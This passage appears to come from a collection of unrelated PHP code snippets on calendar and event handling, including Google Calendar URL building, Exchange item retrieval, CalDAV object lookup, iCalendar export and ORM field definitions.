'nl_NL.UTF-8');\n foreach ($events as &$event) {\n $event['readable_start_date'] = strftime('%A %d %B %G', strtotime($event['start_date']));\n $event['readable_end_date'] = strftime('%A %d %B %G', strtotime($event['end_date']));\n }\n $this->event_log();\n return $this->send_response($events);\n }\n return $this->send_error('NO_RESULTS');\n } else {\n return $this->send_error('ERROR');\n }\n }", "function build_calendar_url($cal, $start, $end) {\n return GOOGLE_CALENDAR_URL_BASE\n . $cal\n . \"/events?\"\n . (defined(\"CALENDAR_FIELDS\") ? \"fields=\" . CALENDAR_FIELDS : \"\")\n . \"&singleEvents=true\"\n\n // timeMin needs to start at 3a (maybe 4a?) instead of 00:00:00 because\n // otherwise it'll grab the sunday prior b/c of it ending at 1a\n . \"&timeMin=\" . date(\"Y-m-d\\T03:00:00P\", $start)\n . \"&timeMax=\" . date(\"Y-m-d\\T23:59:59P\", $end)\n . \"&key=\" . GOOGLE_API_KEY\n ;\n}", "public function event($apiId)\n {\n try {\n $googleEvent = $this->service->events->get($this->calendarId, $apiId);\n\n /*\n * If the google event is part of an HTTP request, return the request,\n * and if not, convert the google event into an event object and return it.\n *\n * This is so a correct response is given if preparing a batch request\n */\n if ($googleEvent instanceof \\Google_Http_Request) {\n return $googleEvent;\n } else {\n return $this->createEventObject($googleEvent);\n }\n } catch (\\Google_Service_Exception $e) {\n // Event wasn't found, return false\n return false;\n }\n }", "private function loadEvent()\n {\n $api_event = $this->product->getWebUrlApi() . \"segments?_sort=id&_order=desc&_start=0&_end=26&is_displayed=1\";\n $api_event = $this->httpClient->get($api_event);\n $api_event = json_decode($api_event->getRawBody(), true);\n return $api_event;\n }", "public function calendar_get_item($ews,$event_id){\n\t\t// Form the GetItem request\n\t\t$request = new EWSType_GetItemType();\n\t\t\n\t\t// Define which item properties are returned in the response\n\t\t$itemProperties = new EWSType_ItemResponseShapeType();\n\t\t$itemProperties->BaseShape = EWSType_DefaultShapeNamesType::ALL_PROPERTIES;\n\t\t\n\t\t// Add properties shape to request\n\t\t$request->ItemShape = $itemProperties;\n\t\t\n\t\t// Set the itemID of the desired item to retrieve\n\t\t$id = new EWSType_ItemIdType();\n\t\t$id->Id = $event_id;\n\t\t\n\t\t$request->ItemIds->ItemId = $id;\n\t\t\n\t\t// Send the listing (find) request and get the response\n\t\t$response = $ews->GetItem($request);\n\t\t//create an array to hold response data\n\t\t$event_data = array();\n\t\tarray_push($event_data,$response->ResponseMessages->GetItemResponseMessage->Items->CalendarItem);\n\t\treturn $event_data;\n\t }", "function FFW_EVENTS() {\n return FFW_EVENTS::instance();\n}", "public function getCalendar()\n {\n $result = new stdClass;\n $all_calendars = $GLOBALS['calendar_manager']->get(Kronolith::ALL_CALENDARS);\n if (!isset($all_calendars[$this->vars->cal]) && !$GLOBALS['conf']['share']['hidden']) {\n $GLOBALS['notification']->push(_(\"You are not allowed to view this calendar.\"), 'horde.error');\n return $result;\n } elseif (!isset($all_calendars[$this->vars->cal])) {\n // Subscribing to a \"hidden\" share, check perms.\n $kronolith_shares = $GLOBALS['injector']->getInstance('Kronolith_Shares');\n $share = $kronolith_shares->getShare($this->vars->cal);\n if (!$share->hasPermission($GLOBALS['registry']->getAuth(), Horde_Perms::READ)) {\n $GLOBALS['notification']->push(_(\"You are not allowed to view this calendar.\"), 'horde.error');\n return $result;\n }\n $calendar = new Kronolith_Calendar_Internal(array('share' => $share));\n } else {\n $calendar = $all_calendars[$this->vars->cal];\n }\n\n $result->calendar = $calendar->toHash();\n return $result;\n }", "public function getEventObject(){\n $eventTimeID = $this->getID();\n\n $prepared = self::adhocQuery(function( \\PDO $connection ) use ($eventTimeID){\n $statement = $connection->prepare(\"\n SELECT sev.id FROM SchedulizerEvent sev\n JOIN SchedulizerEventTime sevTime ON sevTime.eventID = sev.id\n WHERE sevTime.id = :eventTimeID\n \");\n $statement->bindValue(\":eventTimeID\", $eventTimeID);\n return $statement;\n });\n\n return Event::getByID($prepared->fetch(\\PDO::FETCH_COLUMN));\n }", "function getEventFromParams(&$params) {\n\n // timestamp of event's start\n $startTime = $params['start_time'];\n if (empty($startTime)) {\n $startTime = '00:00:00';\n }\n if (strlen($startTime) === 5) {\n $startTime .= ':00';\n }\n $startDateTime = $params['start_date'].' '.$startTime;\n $startStamp = checkit::convertISODateTimeToUnix($startDateTime);\n\n // timestamp of event's end\n $endTime = $params['end_time'];\n if (empty($endTime)) {\n $endTime = '23:59:59';\n }\n if (strlen($endTime) === 5) {\n $endTime .= ':00';\n }\n $endDateTime = $params['end_date'].' '.$endTime;\n $endStamp = checkit::convertISODateTimeToUnix($endDateTime);\n\n // timestamp of last occurrence\n $recurEndStamp = NULL;\n if (!empty($params['recur_end_date'])) {\n $recurEndDate = $params['recur_end_date'];\n $recurEndTime = '';\n if (!empty($params['recur_end_time'])) {\n $recurEndTime = $params['recur_end_time'];\n if (strlen($recurEndTime) == 5) {\n $recurEndTime .= ':00';\n }\n }\n $recurEndDateTime = $recurEndDate.' '.$recurEndTime;\n $recurEndStamp = checkit::convertISODateTimeToUnix($recurEndDateTime);\n }\n\n $event = array(\n 'title' => $params['title'],\n 'location' => $params['location'],\n 'description' => $params['description'],\n\n 'start_stamp' => $startStamp,\n 'end_stamp' => $endStamp,\n 'end_year' => (int)date('Y', $endStamp),\n 'end_month' => (int)date('n', $endStamp),\n\n 'recurrence' => $params['recurrence'],\n 'recur_yearly_interval' => $params['recur_yearly_interval'],\n 'recur_yearly_months' => isset($params['recur_yearly_months'])\n ? $params['recur_yearly_months'] : array(),\n 'recur_monthly_interval' => $params['recur_monthly_interval'],\n 'recur_monthly_count' => $params['recur_monthly_count'],\n 'recur_monthly_byweekday' => $params['recur_monthly_byweekday'],\n 'recur_weekly_interval' => $params['recur_weekly_interval'],\n 'recur_weekly_weekdays' => isset($params['recur_weekly_weekdays'])\n ? $params['recur_weekly_weekdays'] : array(),\n 'recur_daily_interval' => $params['recur_daily_interval'],\n );\n\n if (isset($params['event_id'])) {\n $event['event_id'] = $params['event_id'];\n }\n\n if (isset($recurEndStamp)) {\n $event['recur_end'] = $recurEndStamp;\n }\n\n return $event;\n }", "function lookupEventDate($event_id){\n\t$data = M('event');\n\tif((int)$event_id>=1){\n\t\t$condition['id'] = (int)$event_id;\n\t\t$eventdate = $data->where($condition)->find();\n\t\treturn $eventdate['event_date'];\n\t}\n\telse return false;\n}", "public function getOne($id){\n $repo = $this->om->getRepository(Event::class);\n return $repo->find($id);\n }", "public function testAntBackendGetEvents()\r\n\t{\r\n\t\t$calid = GetDefaultCalendar($this->dbh, $this->user->id);\r\n\r\n\t\t// Create a new calendar event for testing\r\n\t\t$event = new CAntObject_CalendarEvent($this->dbh, null, $this->user);\r\n\t\t$event->setValue(\"name\", \"UnitTest Event\");\r\n\t\t$event->setValue(\"ts_start\", \"10/8/2011 2:30 PM\");\r\n\t\t$event->setValue(\"ts_end\", \"10/8/2011 3:30 PM\");\r\n\t\t$event->setValue(\"calendar\", $calid);\r\n\t\t$eid = $event->save();\r\n\r\n\t\t// Query events\r\n\t\t$events = $this->backend->GetMessageList(\"calendar_root\");\r\n\t\t$this->assertTrue(count($events) > 0);\r\n\r\n\t\t// Cleanup\r\n\t\t$event->removeHard();\r\n\t}", "private function getEventByUri($uri, $calendarId){\n\n\t\t$joinCriteria = FindCriteria::newInstance()\n\t\t\t->addRawCondition('t.id', 'd.id');\n\t\t\n\t\t$whereCriteria = FindCriteria::newInstance()\n\t\t\t->addModel(DavEvent::model(),'d')\n\t\t\t->addCondition('calendar_id', $calendarId)\n\t\t\t->addCondition('uri', $uri,'=','d');\n\t\t\n\t\t$findParams = FindParams::newInstance()\n\t\t\t->single()\n\t\t\t->join(DavEvent::model()->tableName(),$joinCriteria, 'd')\n\t\t\t->criteria($whereCriteria);\n\t\t\n\t\treturn \\GO\\Calendar\\Model\\Event::model()->find($findParams);\n\t}", "public function getEvent()\n {\n // get event\n $this\n ->get('/event')\n ->assertStatus(200);\n }", "function findEventsByCalendar($events=array(),$calendar) {\n\t\t$output = array();\n\t\tif (!$events) {\n\t\t\treturn null;\n\t\t} else {\n\t\t\t$x = 0;\n\t\t\tforeach ($events as $event) {\n\t\t\t\t$calendar_found = false;\n\t\t\t\tforeach ($event['Tag'] as $tag) {\n\t\t\t\t\tfor ($i=0; $i<count($tag['Calendar']); $i++) {\n\t\t\t\t\t\tif ($tag['Calendar'][$i]['shortname'] == $calendar) {\n\t\t\t\t\t\t\t$output[$x] = $event;\n\t\t\t\t\t\t\t$calendar_found = true;\n\t\t\t\t\t\t\t$x++;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif ($calendar_found == true) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $output;\n\t\t}\n\t}", "function event(): EventEmitter\n{\n return EventEmitter::getInstance();\n}", "public function toVCalendar($calid, $obj)\n\t{\n\t\t/*$categ = array();\n\t\tif($obj->soc_client)\n\t\t{\n\t\t\t$nick[] = $obj->soc_code_client;\n\t\t\t$categ[] = $this->langs->transnoentitiesnoconv('Customer');\n\t\t}*/\n\n\t\t$location=$obj->location;\n\n\t\t// contact address\n\t\tif(empty($location) && !empty($obj->address))\n\t\t{\n\t\t\t$location = trim(str_replace(array(\"\\r\",\"\\t\",\"\\n\"), ' ', $obj->address));\n\t\t\t$location = trim($location.', '.$obj->zip);\n\t\t\t$location = trim($location.' '.$obj->town);\n\t\t\t$location = trim($location.', '.$obj->country_label);\n\t\t}\n\n\t\t// contact address\n\t\tif(empty($location) && !empty($obj->soc_address))\n\t\t{\n\t\t\t$location = trim(str_replace(array(\"\\r\",\"\\t\",\"\\n\"), ' ', $obj->soc_address));\n\t\t\t$location = trim($location.', '.$obj->soc_zip);\n\t\t\t$location = trim($location.' '.$obj->soc_town);\n\t\t\t$location = trim($location.', '.$obj->soc_country_label);\n\t\t}\n\n\t\t$address=explode(\"\\n\", $obj->address, 2);\n\t\tforeach($address as $kAddr => $vAddr)\n\t\t{\n\t\t\t$address[$kAddr] = trim(str_replace(array(\"\\r\",\"\\t\"), ' ', str_replace(\"\\n\", ' | ', trim($vAddr))));\n\t\t}\n\t\t$address[]='';\n\t\t$address[]='';\n\n\t\tif($obj->percent==-1 && trim($obj->datep)!='')\n\t\t\t$type='VEVENT';\n\t\telse\n\t\t\t$type='VTODO';\n\n\t\t$timezone = date_default_timezone_get();\n\n\t\t$caldata =\"BEGIN:VCALENDAR\\n\";\n\t\t$caldata.=\"VERSION:2.0\\n\";\n\t\t$caldata.=\"METHOD:PUBLISH\\n\";\n\t\t$caldata.=\"PRODID:-//ERP CDav//FR\\n\";\n\t\t$caldata.=\"BEGIN:\".$type.\"\\n\";\n\t\t$caldata.=\"CREATED:\".gmdate('Ymd\\THis', strtotime($obj->datec)).\"Z\\n\";\n\t\t$caldata.=\"LAST-MODIFIED:\".gmdate('Ymd\\THis', strtotime($obj->lastupd)).\"Z\\n\";\n\t\t$caldata.=\"DTSTAMP:\".gmdate('Ymd\\THis', strtotime($obj->lastupd)).\"Z\\n\";\n\t\tif($obj->sourceuid=='')\n\t\t\t$caldata.=\"UID:\".$obj->id.'-ev-'.$calid.'-cal-'.CDAV_URI_KEY.\"\\n\";\n\t\telse\n\t\t\t$caldata.=\"UID:\".$obj->sourceuid.\"\\n\";\n\t\t$caldata.=\"SUMMARY:\".$obj->label.\"\\n\";\n\t\t$caldata.=\"LOCATION:\".$location.\"\\n\";\n\t\t$caldata.=\"PRIORITY:\".$obj->priority.\"\\n\";\n\t\tif($obj->fulldayevent)\n\t\t{\n\t\t\t$caldata.=\"DTSTART;VALUE=DATE:\".date('Ymd', strtotime($obj->datep)).\"\\n\";\n\t\t\tif($type=='VEVENT')\n\t\t\t{\n\t\t\t\tif(trim($obj->datep2)!='')\n\t\t\t\t\t$caldata.=\"DTEND;VALUE=DATE:\".date('Ymd', strtotime($obj->datep2)+1).\"\\n\";\n\t\t\t\telse\n\t\t\t\t\t$caldata.=\"DTEND;VALUE=DATE:\".date('Ymd', strtotime($obj->datep)+(25*3600)).\"\\n\";\n\t\t\t}\n\t\t\telseif(trim($obj->datep2)!='')\n\t\t\t\t$caldata.=\"DUE;VALUE=DATE:\".date('Ymd', strtotime($obj->datep2)+1).\"\\n\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$caldata.=\"DTSTART;TZID=\".$timezone.\":\".strtr($obj->datep, array(\" \"=>\"T\", \":\"=>\"\", \"-\"=>\"\")).\"\\n\";\n\t\t\tif($type=='VEVENT')\n\t\t\t{\n\t\t\t\tif(trim($obj->datep2)!='')\n\t\t\t\t\t$caldata.=\"DTEND;TZID=\".$timezone.\":\".strtr($obj->datep2, array(\" \"=>\"T\", \":\"=>\"\", \"-\"=>\"\")).\"\\n\";\n\t\t\t\telse\n\t\t\t\t\t$caldata.=\"DTEND;TZID=\".$timezone.\":\".strtr($obj->datep, array(\" \"=>\"T\", \":\"=>\"\", \"-\"=>\"\")).\"\\n\";\n\t\t\t}\n\t\t\telseif(trim($obj->datep2)!='')\n\t\t\t\t$caldata.=\"DUE;TZID=\".$timezone.\":\".strtr($obj->datep2, array(\" \"=>\"T\", \":\"=>\"\", \"-\"=>\"\")).\"\\n\";\n\t\t}\n\t\t$caldata.=\"CLASS:PUBLIC\\n\";\n\t\tif($obj->transparency==1)\n\t\t\t$caldata.=\"TRANSP:TRANSPARENT\\n\";\n\t\telse\n\t\t\t$caldata.=\"TRANSP:OPAQUE\\n\";\n\n\t\tif($type=='VEVENT')\n\t\t\t$caldata.=\"STATUS:CONFIRMED\\n\";\n\t\telseif($obj->percent==0)\n\t\t\t$caldata.=\"STATUS:NEEDS-ACTION\\n\";\n\t\telseif($obj->percent==100)\n\t\t\t$caldata.=\"STATUS:COMPLETED\\n\";\n\t\telse\n\t\t{\n\t\t\t$caldata.=\"STATUS:IN-PROCESS\\n\";\n\t\t\t$caldata.=\"PERCENT-COMPLETE:\".$obj->percent.\"\\n\";\n\t\t}\n\n\t\t$caldata.=\"DESCRIPTION:\";\n\t\t$caldata.=strtr($obj->note, array(\"\\n\"=>\"\\\\n\", \"\\r\"=>\"\"));\n\t\tif(!empty($obj->soc_nom))\n\t\t\t$caldata.=\"\\\\n*MOUNIR-SOC: \".$obj->soc_nom;\n\t\tif(!empty($obj->soc_phone))\n\t\t\t$caldata.=\"\\\\n*MOUNIR-SOC-TEL: \".$obj->soc_phone;\n\t\tif(!empty($obj->firstname) || !empty($obj->lastname))\n\t\t\t$caldata.=\"\\\\n*MOUNIR-CTC: \".trim($obj->firstname.' '.$obj->lastname);\n\t\tif(!empty($obj->phone) || !empty($obj->phone_perso) || !empty($obj->phone_mobile))\n\t\t\t$caldata.=\"\\\\n*MOUNIR-CTC-TEL: \".trim($obj->phone.' '.$obj->phone_perso.' '.$obj->phone_mobile);\n\t\tif(strpos($obj->other_users, ',')) // several\n\t\t\t$caldata.=\"\\\\n*MOUNIR-USR: \".$obj->other_users;\n\t\t$caldata.=\"\\n\";\n\n\t\t$caldata.=\"END:\".$type.\"\\n\";\n\t\t$caldata.=\"END:VCALENDAR\\n\";\n\n\t\treturn $caldata;\n\t}", "public function getCalendarObject($calendarId, $objectUri) {\n\n\t\t\\GO::debug(\"c:getCalendarObject($calendarId,$objectUri)\");\n\n\t\t/*\n\t\t * When a client adds or updates an event, the server must return the\n\t\t * data identical to what the client sent. That's why we store the\n\t\t * client data in a separate table and if the mtime's match we use that.\n\t\t */\n\n\t\t//select on calendar id is necessary because somehow thunderbird tries\n\t\t//to get an event that's an invitation. It must not return the organizers event.\n\t\t\n\t\t$whereCriteria = FindCriteria::newInstance()\n\t\t\t->addModel(\\GO\\Calendar\\Model\\Event::model())\n\t\t\t->addModel(DavEvent::model(),'d')\n\t\t\t->addCondition('calendar_id', $calendarId)\n\t\t\t->addCondition('uri', $objectUri,'=','d');\n\t\t\n\t\t$joinCriteria = FindCriteria::newInstance()\n\t\t\t->addRawCondition('t.id', 'd.id');\n\t\t\n\t\t$findParams = FindParams::newInstance()\n\t\t\t//->single()\n\t\t\t->limit(1)\n\t\t\t->ignoreAcl()\n\t\t\t->select(\"t.*, d.uri, d.mtime AS client_mtime, d.data\")\n\t\t\t->criteria($whereCriteria)\n\t\t\t->join(DavEvent::model()->tableName(), $joinCriteria,'d', 'LEFT');\n\n//\t\t$sql = \"SELECT d.uri,e.*, d.mtime AS client_mtime, d.data FROM cal_events e INNER JOIN dav_events d ON d.id=e.id WHERE d.uri=? AND e.calendar_id=?\";\n//\t\t$this->cal->query($sql, 'si', array($objectUri,$calendarId));\n//\t\t$event = $this->cal->next_record();\n\n\t\t//\\GO::debug($event);\n\t\t\n\t\t$event = \\GO\\Calendar\\Model\\Event::model()->find($findParams)->fetch();\n\t\t\n\t\tif ($event) {\n\n\t\t\t\\GO::debug('Found event');\n\t\t\t\n\t\t\t$data = ($event->mtime==$event->client_mtime && !empty($event->data)) ? $event->data : $this->exportCalendarEvent($event);\n\t\t\t\\GO::debug($event->mtime==$event->client_mtime ? \"Returning client data (mtime)\" : \"Returning server data (mtime)\");\n\t\t\t\n\t\t\t\n//\t\t\t$data = $this->exportCalendarEvent($event);\n\t\t\t\n\t\t\t\\GO::debug($data);\n\n\t\t\t$object = array(\n\t\t\t\t'id' => $event->id,\n\t\t\t\t'uri' => $event->uri,\n\t\t\t\t'calendardata' => $data,\n\t\t\t\t'calendarid' => $calendarId,\n\t\t\t\t'lastmodified' => $event->mtime,\n\t\t\t\t'etag'=>'\"' . date('Ymd H:i:s', $event->mtime). '-'.$event->id.'\"'\n\t\t\t);\n\t\t\t//\\GO::debug($object);\n\t\t\treturn $object;\n\t\t} \n\t\telse {\n\n\t\t\t//$calendar = $this->cal->get_calendar($calendarId);\n\n//\t\t\t$sql = \"SELECT e.*, d.uri, d.mtime AS client_mtime, d.data FROM ta_tasks e INNER JOIN dav_tasks d ON d.id=e.id WHERE d.uri=?\";// AND e.tasklist_id=?\";\n//\t\t\t$this->tasks->query($sql, 's', array($objectUri));\n//\t\t\t$task = $this->tasks->next_record();\n\t\t\t\n\t\t\t$whereCriteria = FindCriteria::newInstance()\n\t\t\t\t->addModel(\\GO\\Tasks\\Model\\Task::model())\n\t\t\t\t->addModel(DavTask::model(),'d')\n\t\t\t\t//->addCondition('tasklist_id', $calendarId) //Not necessary with the inner join on dav_tasks\n\t\t\t\t->addCondition('uri', $objectUri,'=','d');\n\t\t\n\t\t\t$joinCriteria = FindCriteria::newInstance()\n\t\t\t\t->addRawCondition('t.id', 'd.id');\n\n\t\t\t$findParams = FindParams::newInstance()\n\t\t\t\t->single()\n\t\t\t\t->select(\"t.*, d.uri, d.mtime AS client_mtime, d.data\")\n\t\t\t\t->criteria($whereCriteria)\n\t\t\t\t->join(DavTask::model()->tableName(), $joinCriteria,'d', 'LEFT');\n\t\t\t\n\t\t\t\n\t\t\t$task = \\GO\\Tasks\\Model\\Task::model()->find($findParams);\n\n\t\t\tif ($task) {\n\n\t\t\t\t\\GO::debug('Found task');\n\n\t\t\t\t$data = ($task->mtime==$task->client_mtime && !empty($task->data)) ? $task->data : $task->toICS();\n\n\t\t\t\t\\GO::debug($data);\n\n\t\t\t\t$object = array(\n\t\t\t\t\t'id' => $task->id,\n\t\t\t\t\t'uri' => $task->uri,\n\t\t\t\t\t'calendardata' => $data,\n\t\t\t\t\t'calendarid' => $calendarId,\n\t\t\t\t\t'lastmodified' => $task->mtime,\n\t\t\t\t\t'etag'=>'\"' .date('Ymd H:i:s', $task->mtime). '-'.$task->id.'\"'\n\t\t\t\t);\n\n\n\t\t\t\treturn $object;\n\t\t\t}\n\t\t}\n\t\tthrow new Sabre\\DAV\\Exception\\NotFound('File not found');\n\t}", "public static function get_event($eventid) {\r\n global $uid;\r\n return Database::get()->querySingle(\"SELECT * FROM personal_calendar WHERE id = ?d AND user_id = ?d\", $eventid, $uid);\r\n }", "function setEvent($year,$month,$day,$id=false,$url=false){\n$eventTime=$this->mkActiveTime(0,0,1,$month,$day,$year);\n\tif (!$id) $id=$this->cssEvent;\n$this->calEvents[$eventTime]=$id;\n$this->calEventsUrl[$eventTime]=$url;\n}", "public function getCustCal($empNo, $weeks, $caltype = '', $displaySlotType = '')\n {\n require_once('models/Calendar.class.php');\n require_once('models/AppType.class.php');\n \n // Determine which calendar we want\n if ($_SESSION['type'] == 'owner') // default booked appointments only\n $displaySlotType = empty($displaySlotType) ? 'booked' : $displaySlotType;\n else // A customer\n $displaySlotType = 'free'; // free times only\n \n $cal = new Calendar($this->db);\n \n try{\n if (!preg_match(\"/^[a-zA-Z0-9_ ]+$/\", $caltype)) // need to check regex\n throw new Exception(\"The provided appointment type was not valid.\");\n \n // Attempt to generate the calendar\n if ($displaySlotType == 'booked')\n {\n // Combined calendar view\n if ($caltype == 'combined'){\n if ( $json_cal = $cal->ajaxGetOwnerCombinedCal($empNo, $weeks) ) // Successful, send calendar\n echo json_encode(array(\"success\"=>true,\"content\"=>$json_cal));\n else\n throw new Exception(\"Failed to render Calendar\");\n }\n else { // Otherwise show all bookings in each seperate employee calendar \n if ( $json_cal = $cal->ajaxGetOwnerCal($empNo, $weeks) ) // Successful, send calendar\n echo json_encode(array(\"success\"=>true,\"content\"=>$json_cal));\n else\n throw new Exception(\"Failed to render Calendar\");\n }\n }\n else\n {\n // If selecting calendar by appointment type (numeric value, retrieves appType object & correct calendar)\n if (is_numeric($caltype) && $appType = new AppType($caltype, $this->db)){\n if ($json_cal = $cal->ajaxGetCustCalByType($empNo, $weeks, $appType))\n echo json_encode(array(\"success\"=>true,\"content\"=>$json_cal));\n }\n elseif ( $json_cal = $cal->ajaxGetCustCal($empNo, $weeks) ) // Successful, send calendar\n echo json_encode(array(\"success\"=>true,\"content\"=>$json_cal));\n else\n throw new Exception(\"Failed to render Calendar\");\n }\n }catch(Exception $e){\n echo json_encode(array(\"success\"=>false,\"content\"=>array(), \"error\"=>$e->getMessage()));\n return false;\n }\n\n }", "public function testCreatePayrollCalendar()\n {\n }", "public function getEvents();", "public function getEvents();", "public function testEventCallBackGet()\n {\n }", "function ct_event() {\n\t\tglobal $Language;\n\n\t\t// C_EVENT_ID\n\t\t$this->C_EVENT_ID = new cField('t_event', 't_event', 'x_C_EVENT_ID', 'C_EVENT_ID', '`C_EVENT_ID`', 3, -1, FALSE, '`C_EVENT_ID`', FALSE);\n\t\t$this->C_EVENT_ID->FldDefaultErrMsg = $Language->Phrase(\"IncorrectInteger\");\n\t\t$this->fields['C_EVENT_ID'] =& $this->C_EVENT_ID;\n\n\t\t// FK_CONGTY_ID\n\t\t$this->FK_CONGTY_ID = new cField('t_event', 't_event', 'x_FK_CONGTY_ID', 'FK_CONGTY_ID', '`FK_CONGTY_ID`', 3, -1, FALSE, '`FK_CONGTY_ID`', FALSE);\n\t\t$this->FK_CONGTY_ID->FldDefaultErrMsg = $Language->Phrase(\"IncorrectInteger\");\n\t\t$this->fields['FK_CONGTY_ID'] =& $this->FK_CONGTY_ID;\n\n\t\t// C_EVENT_NAME\n\t\t$this->C_EVENT_NAME = new cField('t_event', 't_event', 'x_C_EVENT_NAME', 'C_EVENT_NAME', '`C_EVENT_NAME`', 201, -1, FALSE, '`C_EVENT_NAME`', FALSE);\n\t\t$this->fields['C_EVENT_NAME'] =& $this->C_EVENT_NAME;\n\n\t\t// C_TYPE_EVENT\n\t\t$this->C_TYPE_EVENT = new cField('t_event', 't_event', 'x_C_TYPE_EVENT', 'C_TYPE_EVENT', '`C_TYPE_EVENT`', 3, -1, FALSE, '`C_TYPE_EVENT`', FALSE);\n\t\t$this->C_TYPE_EVENT->FldDefaultErrMsg = $Language->Phrase(\"IncorrectInteger\");\n\t\t$this->fields['C_TYPE_EVENT'] =& $this->C_TYPE_EVENT;\n\n\t\t// C_POST\n\t\t$this->C_POST = new cField('t_event', 't_event', 'x_C_POST', 'C_POST', '`C_POST`', 3, -1, FALSE, '`C_POST`', FALSE);\n\t\t$this->C_POST->FldDefaultErrMsg = $Language->Phrase(\"IncorrectInteger\");\n\t\t$this->fields['C_POST'] =& $this->C_POST;\n\n\t\t// C_URL_IMAGES\n\t\t$this->C_URL_IMAGES = new cField('t_event', 't_event', 'x_C_URL_IMAGES', 'C_URL_IMAGES', '`C_URL_IMAGES`', 201, -1, FALSE, '`C_URL_IMAGES`', FALSE);\n\t\t$this->fields['C_URL_IMAGES'] =& $this->C_URL_IMAGES;\n\n\t\t// C_URL_LINK\n\t\t$this->C_URL_LINK = new cField('t_event', 't_event', 'x_C_URL_LINK', 'C_URL_LINK', '`C_URL_LINK`', 201, -1, FALSE, '`C_URL_LINK`', FALSE);\n\t\t$this->fields['C_URL_LINK'] =& $this->C_URL_LINK;\n\n\t\t// C_DATETIME_BEGIN\n\t\t$this->C_DATETIME_BEGIN = new cField('t_event', 't_event', 'x_C_DATETIME_BEGIN', 'C_DATETIME_BEGIN', '`C_DATETIME_BEGIN`', 135, 7, FALSE, '`C_DATETIME_BEGIN`', FALSE);\n\t\t$this->C_DATETIME_BEGIN->FldDefaultErrMsg = str_replace(\"%s\", \"/\", $Language->Phrase(\"IncorrectDateDMY\"));\n\t\t$this->fields['C_DATETIME_BEGIN'] =& $this->C_DATETIME_BEGIN;\n\n\t\t// C_DATETIME_END\n\t\t$this->C_DATETIME_END = new cField('t_event', 't_event', 'x_C_DATETIME_END', 'C_DATETIME_END', '`C_DATETIME_END`', 135, 7, FALSE, '`C_DATETIME_END`', FALSE);\n\t\t$this->C_DATETIME_END->FldDefaultErrMsg = str_replace(\"%s\", \"/\", $Language->Phrase(\"IncorrectDateDMY\"));\n\t\t$this->fields['C_DATETIME_END'] =& $this->C_DATETIME_END;\n\n\t\t// C_ODER\n\t\t$this->C_ODER = new cField('t_event', 't_event', 'x_C_ODER', 'C_ODER', '`C_ODER`', 135, 7, FALSE, '`C_ODER`', FALSE);\n\t\t$this->C_ODER->FldDefaultErrMsg = str_replace(\"%s\", \"/\", $Language->Phrase(\"IncorrectDateDMY\"));\n\t\t$this->fields['C_ODER'] =& $this->C_ODER;\n\n\t\t// C_NOTE\n\t\t$this->C_NOTE = new cField('t_event', 't_event', 'x_C_NOTE', 'C_NOTE', '`C_NOTE`', 201, -1, FALSE, '`C_NOTE`', FALSE);\n\t\t$this->fields['C_NOTE'] =& $this->C_NOTE;\n\n\t\t// C_USER_ADD\n\t\t$this->C_USER_ADD = new cField('t_event', 't_event', 'x_C_USER_ADD', 'C_USER_ADD', '`C_USER_ADD`', 3, -1, FALSE, '`C_USER_ADD`', FALSE);\n\t\t$this->C_USER_ADD->FldDefaultErrMsg = $Language->Phrase(\"IncorrectInteger\");\n\t\t$this->fields['C_USER_ADD'] =& $this->C_USER_ADD;\n\n\t\t// C_ADD_TIME\n\t\t$this->C_ADD_TIME = new cField('t_event', 't_event', 'x_C_ADD_TIME', 'C_ADD_TIME', '`C_ADD_TIME`', 135, 7, FALSE, '`C_ADD_TIME`', FALSE);\n\t\t$this->C_ADD_TIME->FldDefaultErrMsg = str_replace(\"%s\", \"/\", $Language->Phrase(\"IncorrectDateDMY\"));\n\t\t$this->fields['C_ADD_TIME'] =& $this->C_ADD_TIME;\n\n\t\t// C_USER_EDIT\n\t\t$this->C_USER_EDIT = new cField('t_event', 't_event', 'x_C_USER_EDIT', 'C_USER_EDIT', '`C_USER_EDIT`', 3, -1, FALSE, '`C_USER_EDIT`', FALSE);\n\t\t$this->C_USER_EDIT->FldDefaultErrMsg = $Language->Phrase(\"IncorrectInteger\");\n\t\t$this->fields['C_USER_EDIT'] =& $this->C_USER_EDIT;\n\n\t\t// C_EDIT_TIME\n\t\t$this->C_EDIT_TIME = new cField('t_event', 't_event', 'x_C_EDIT_TIME', 'C_EDIT_TIME', '`C_EDIT_TIME`', 135, 7, FALSE, '`C_EDIT_TIME`', FALSE);\n\t\t$this->C_EDIT_TIME->FldDefaultErrMsg = str_replace(\"%s\", \"/\", $Language->Phrase(\"IncorrectDateDMY\"));\n\t\t$this->fields['C_EDIT_TIME'] =& $this->C_EDIT_TIME;\n\n\t\t// C_ACTIVE_LEVELSITE\n\t\t$this->C_ACTIVE_LEVELSITE = new cField('t_event', 't_event', 'x_C_ACTIVE_LEVELSITE', 'C_ACTIVE_LEVELSITE', '`C_ACTIVE_LEVELSITE`', 3, -1, FALSE, '`C_ACTIVE_LEVELSITE`', FALSE);\n\t\t$this->C_ACTIVE_LEVELSITE->FldDefaultErrMsg = $Language->Phrase(\"IncorrectInteger\");\n\t\t$this->fields['C_ACTIVE_LEVELSITE'] =& $this->C_ACTIVE_LEVELSITE;\n\n\t\t// C_TIME_ACTIVE\n\t\t$this->C_TIME_ACTIVE = new cField('t_event', 't_event', 'x_C_TIME_ACTIVE', 'C_TIME_ACTIVE', '`C_TIME_ACTIVE`', 135, 7, FALSE, '`C_TIME_ACTIVE`', FALSE);\n\t\t$this->C_TIME_ACTIVE->FldDefaultErrMsg = str_replace(\"%s\", \"/\", $Language->Phrase(\"IncorrectDateDMY\"));\n\t\t$this->fields['C_TIME_ACTIVE'] =& $this->C_TIME_ACTIVE;\n\n\t\t// C_SEND_MAIL\n\t\t$this->C_SEND_MAIL = new cField('t_event', 't_event', 'x_C_SEND_MAIL', 'C_SEND_MAIL', '`C_SEND_MAIL`', 3, -1, FALSE, '`C_SEND_MAIL`', FALSE);\n\t\t$this->C_SEND_MAIL->FldDefaultErrMsg = $Language->Phrase(\"IncorrectInteger\");\n\t\t$this->fields['C_SEND_MAIL'] =& $this->C_SEND_MAIL;\n\n\t\t// C_CONTENT_MAIL\n\t\t$this->C_CONTENT_MAIL = new cField('t_event', 't_event', 'x_C_CONTENT_MAIL', 